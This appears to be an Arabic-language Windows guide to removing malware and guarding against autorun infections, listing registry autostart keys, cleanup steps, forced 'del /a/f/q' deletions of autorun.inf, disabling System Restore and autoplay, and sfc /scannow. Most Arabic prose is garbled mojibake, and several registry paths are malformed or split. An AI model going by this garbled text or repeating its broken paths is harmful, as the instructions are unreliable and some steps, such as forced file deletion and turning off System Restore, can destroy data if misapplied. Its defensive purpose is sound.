Administrative templates >>system >> DisableRegistryTools >>>disabled                                  

            ذؼى ضٗـ٤َ جٍُؾٓطٍٟ غْ جونَ ك٠ جُٔٓحٌجش ج٫ض٤ٚ                                                                 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ 

ح ػى٣ىز جذكع ػٖ جُٔلطحـ ًٔ ه٤ٔطٜح  ْطؿى إٔ Shell ػ٘ىٓح ضطٞؾٚ ئ٠ُ جُٔٓحٌ جُٓحذن ْٞف ضؿى ه٤

                 Explorer.exe ضٌٕٞ ٫ذى ج٫كطٍج٤ٞس

 ٓغ ذىج٣س ج٣ُٞ٘ىَٝج٫ًػٍ جْطهىجٓحٝأ٤ٌُْ ٓٓحٌ جُرٍجٓؽ جُط٠ ضؼَٔ    
[HKEY_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 

 

                                                                                    جنٍٟ جهَ ٤ٖٞػح ًٛٙ هحتٔسٝ
HKEY_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg] 

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\RunOnce 

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\RunOnce  

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run  

 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunOnce 

 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunOnceEx 

  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServices 

 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServicesOnce 

٣ٟٝغ ذٜح ه٤ٔٚ ذٜح جُٔٓحٌ جُل٤ٍِ ًٝٛج جُٔٓحٌ  runٝجُٔٓحٌ ج٫ض٠  ٣وّٞ ذؼَٔ كُٞىٌ) ٓلطحـ( ذحْْ 

 ٣ُِٞ٘ىَٝ   ٣٫start upظٍٜك٠ 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 

\CurrentVersion\policies\Explorer\run 

      defaultغْ هْ ذٔٓف ؾ٤ٔغ جُو٤ْ جُط٠ ك٠ ٤ٔ٣ٖ جُٛلكٚ ٓحػىج جُط٠ ذؿحٗرٜح ًِٔٚ 

 active Desktop  ػَٔ ذٍجٓؽ جُط٠ ضؼَٔ ػ٠ِ جُهِل٤ٚ ٣٩وحف -



HKEY_USERS\S-1-5-21-1123561945-1935655697-1060284298-

1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

\NoActiveDesktop: 0x00000001 

 ك٠ ٫ٞحكٚ ٝظحتقcomponents  ضٓطهىّ ٠ٛٝ active Desktop ج٣٩٠ُوحف  -

active Desktop  ٌٕٞن٬ٍ  ٓطٞكٍز٫ض ٖٓ .  HTML  ٚجْطهىجِّٓكٞظ components  ٖٓ

 جُكحْد جُكٔح٣سًٍٖحش ؿ٤ٍ ٓٞغٞهٚ ٣ٛ٘غ غـٍجش نطٍٙ ؾىج ك٠ 

HKEY_USERS\S-1-5-21-1123561945-1935655697-1060284298-

1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies 

\ActiveDesktop\NoComponents:   1 

 ٓٓف ؾ٤ٔغ جُِٔلحش جُٔٞؾٞوز ك٠ كُٞىٌ جُهح٘ ذهح٤ٚس جْطؼحوٙ جُ٘ظحّ ٠ٛٝ  -7

C:\ System Volume Information   ح ُٖ ٣ٍٟ ًٛج جُلُٞىٌ ج٫ ٝج٣ٟح ًَ جُرٍضٗ٘حش ٠ٝرؼ

 ػٖ ٣ٍ٠ن جظٜحٌ ِٓلحش جُ٘ظحّ  

غْ    my computerػٖ ٣ٍ٠ن ٞـ١ ػ٠ِ   RESTOREئ٣وحف ٗظحّ ج٫ْطؼحوز ٣ُِٞ٘ىَٝ   -8

 غْ جٞـ١ ػ٠ِ  system restore غْ جنطحٌ   propertiesضىِٝ ٤ًِي ٤ٔ٣ٖ غْ جنطحٌ 

Turn off system restore   

 ػٔحٍ جُط٠ ٣ٌٖٔ ضٓطهىٜٓح جُل٤ٍْٝحش ٠ٛٝ ك٠ جُٔٓحٌ ج٫ض٠ ٓٓف ؾ٤ٔغ ِٓلحش ؾىجٍٝ ج٩ -9

C:\windows\tasks                ْٝطؿىٙ ذحٓطىجو.jop  

 ٓٓف جُؿٜحَ ذرٍجٓؽ جُط٘ظ٤ق جٍُؾٓطٍٟ ٝجُِٔلحش ٝضك٤ٖٓ ج٫وجء ٓػَ ذٍجٓؽ  -10

Ashampoo WinOptimizer 5     -     c cleaner   -  tuneup utilities 2008 

ٝٓٓف جُؿٜحَ ذرٍجٓؽ                     safe modeُِؼَٔ ػ٠ِ   f8جػحوٙ ضٗـ٤َ جُؿٜحَ ٝضىِٝ ػ٠ِ  -11

 ٝػَٔ ذكع ك٠ ٝهص ٫ه٬ع   avast anti virusجُكٔح٣ٚ  ٣ٝلَٟ جْطهىجّ ذٍٗحٓؽ 

 جٝ ونٍٞ ْطٍ ج٫ٝجٍٓ ٣ُِٞ٘ىَٝ ًٝطحذٚ ًٛج ج٫ٍٓ  auto runجْطهىجّ ذٍٗحٓؽ ٓٓف ِٓلحش  -12

del /a/f/q c:\autorun.inf       ٝ del /a/f/q f:\autorun.inf    

   del /a/f/q d:\autorun.inf ٝdel /a/f/q e:\autorun.inf     

٠ٌُٝ ضَٛ ًُٜٙ جُلُٞىٌجش هْ   tempٓٓف ؾ٤ٔغ جُِٔلحش جُط٠ ك٠ كُٞىٌجش جُِٔلحش جُٔإهطٚ  -13

 ذؼَٔ ذكع ذحْْ جُلُٞىٌ 

ٙ كىٌَ جُؿٜحَ ػٖ ٣ٍ٠ن ذٍٗحٓؽ جُٟـ١ جُٔٞؾٞو Recycle bin ٓٓف ؾ٤ٔغ جُِٔلحش ك٠  -14

winrar  

 جظٜحٌ جُِٔلحش جُٔهل٤ٚ ِٝٓلحش جُ٘ظحّ  ٝجظٜحٌ ج٫ٓطىجوجش ُِِٔلحش   -15

 ٓٓف ؾ٤ٔغ جُِٔلحش ك٠ كُٞىٌ جُطٓؿ٤َ ُِِٔلحش جُط٘ل٣ً٤ٚ ٝٛٞ ك٠ جُٔٓحٌ ج٫ض٠  -16

C:\windows\system32\prefech 

 

 

 

 

 

 

 

 

 



 جُكٔح٣ٚ :جُٞهح٣ٚ ٝنطٞجش 

 

 ذٍجٓؽ ج٫ٗط٠ ك٤ٍِ ذٌَٗ ًحَٓ ٝجػطٔى ج٣ٟح ػ٠ِ نطٞجش جُٞهح٣ٚ  ٫ ضؼطٔى ػ٠ِ -1

 ك٠ ٝهص ج٫ه٬ع ٣ُِٞ٘ىَٝ   scanٝػَٔ   avast anti virusجْطهىّ جٗط٠ ك٤ٍِ جكحْص  -2

  Naevius USB Antivirusٝذ٦نٙ ذٍٗحٓؽ   anti autorunجْطهىّ ذٍجٓؽ  -3

ضؿؼِٚ  ٢ ذحٞحكس ه٤ٔٚ ُٔٓؿَ جُ٘ظحّٝٛٝٛ٘حى ٣ٍ٠وٚ ضو٠ٟ ٜٗحت٤ح ػ٠ِ ِٓلحش ج٫ٝضٌٕٞ     

جُط٣ٍوس كٓٞف  ًٝأٗٚ ٫ ٣ؼٍكٚ ٝٛ٘ح ك٢ قحٍ جْطهىٓ٘ح ًٛٙ autorun ٣طؿحَٛ ضٔحٓح أ١ ِٓق

جُط٣ٍوس . ج٧هٍج٘ ُٖ ضطـ٤ٍ ج٣وٞٗٚ جُل٬ٔ ٫ٝ جْٔٚ ج٣ٟح ٤ٌْٕٝٞ جْٔٚ ٌِٖٝس ٓٗحذٚ ُرو٤س

 جُٔلطحـ ٍُِؾٓطٍٟ ٢ٛٝ ذحٞحكس

 ّ 

 

  : ك٢ جُٔٓحٌ جُٔٞٞف

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT 

\CurrentVersion\IniFileMapping\autorun.inf 

 (Default)غْ ٞغ ًٛٙ جُو٤ٔٚ ك٠ 

@SYS:DoesNotExist 

ُٖٝ ٣وٍأٙ ٖٓ ج٧ْحِ ، ٝك٢ قحٍ أٌوش جٌؾحع ج٧ٌٓٞ  autorun ذؼى يُي ٤ْطؿحَٛ جُ٘ظحّ أ١ ِٓق

 ذحٌُحَٓ Autorun.inf ج٠ُ ٓح ًحٗص ػ٤ِٚ هْ ذكًف جُٔلطحـ

 جُٔٞؾٞوٙ ك٠ جػ٠ِ جُٛلكٚ foldersػىّ جُىنٍٞ ُِل٬ٖٚ ج٫ ػٖ ٣ٍ٠ن -4

 
ْٞف ٣ظٍٜ ُي ٖؿٍٙ ِٓلحش   explore all usersغْ جنط٤حٌ    startجٝ ذؼَٔ ٤ًٌِٚ ٤ٔ٣ٖ ػ٠ِ 

 جونَ ػٖ ٣ٍ٠وٜح ُِل٬ٖٚ



  runػ٠ِ  ػٖ ٣ٍ٠ن ونٍٞ ٣ُِٞgroup police٘ىَٝ ػٖ ٣ٍ٠ن ذٍٗحٓؽ   auto playجؿ٬م  -5

 غْ جضرغ ًٛج جُٔٓحٌ وجنَ جُرٍٗحٓؽ   gpedit.mscغْ ًطحذٚ 

Administrative templates >>system >>turn off autoplay 

   all drivesغْ   disabledغْ جنطحٌ 

 جٝ جضرغ ًٛج جُٔٓحٌ ك٠ جٍُؾٓطٍٟ

HKEY_USERS\S-1-5-21-725345543-1580436667-842925246-

1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

\NoDriveTypeAutoRun:   FF 

 sfc /scannowغْ جًطد    runغْ  startهْ ذأ٬ٚـ ِٓلحش جُ٘ظحّ ذٌَٗ ٓ٘طظْ ذىنٍٞ ج٠ُ  -6

٣ٝرىٍ   dllُِٔلحش جُ٘ظحّ ذأٓطىجو   ٫ٝscan ض٠ٓ٘ ذٞٞغ جْطٞجٗٚ ج٣ُٞ٘ىَٝ ًٛج ج٫ٍٓ ٣وّٞ ذؼَٔ 

 جُِٔق جُطحُق

٫ ضٓطهىّ ٣ٝ٘ىَٝ جًُٟ ٓىٓؽ ذٚ جُرٍجٓؽ ٝجُِٔؼٞخ ك٤ٚ ٫ٕ ذٌَ ذٓح٠ٚ ٣ٌٕٞ ِٓـ٠ ك٤ٚ جُكٔح٣ٚ  -7

جًُجض٤ٚ ٣ُِٞ٘ىَٝ ٣ٌٕٝٞ ػٍٞٚ ُِهطٍ ٖٓ جُل٤ٍْٝحش ٝج٫كَٟ جْطهىجّ ٗٓهٚ ٣ٝ٘ىَٝ ٚحك٤ٚ ٓػَ 

 ج٤ِٚ٫ٚ ضٔحٓح 

 
 


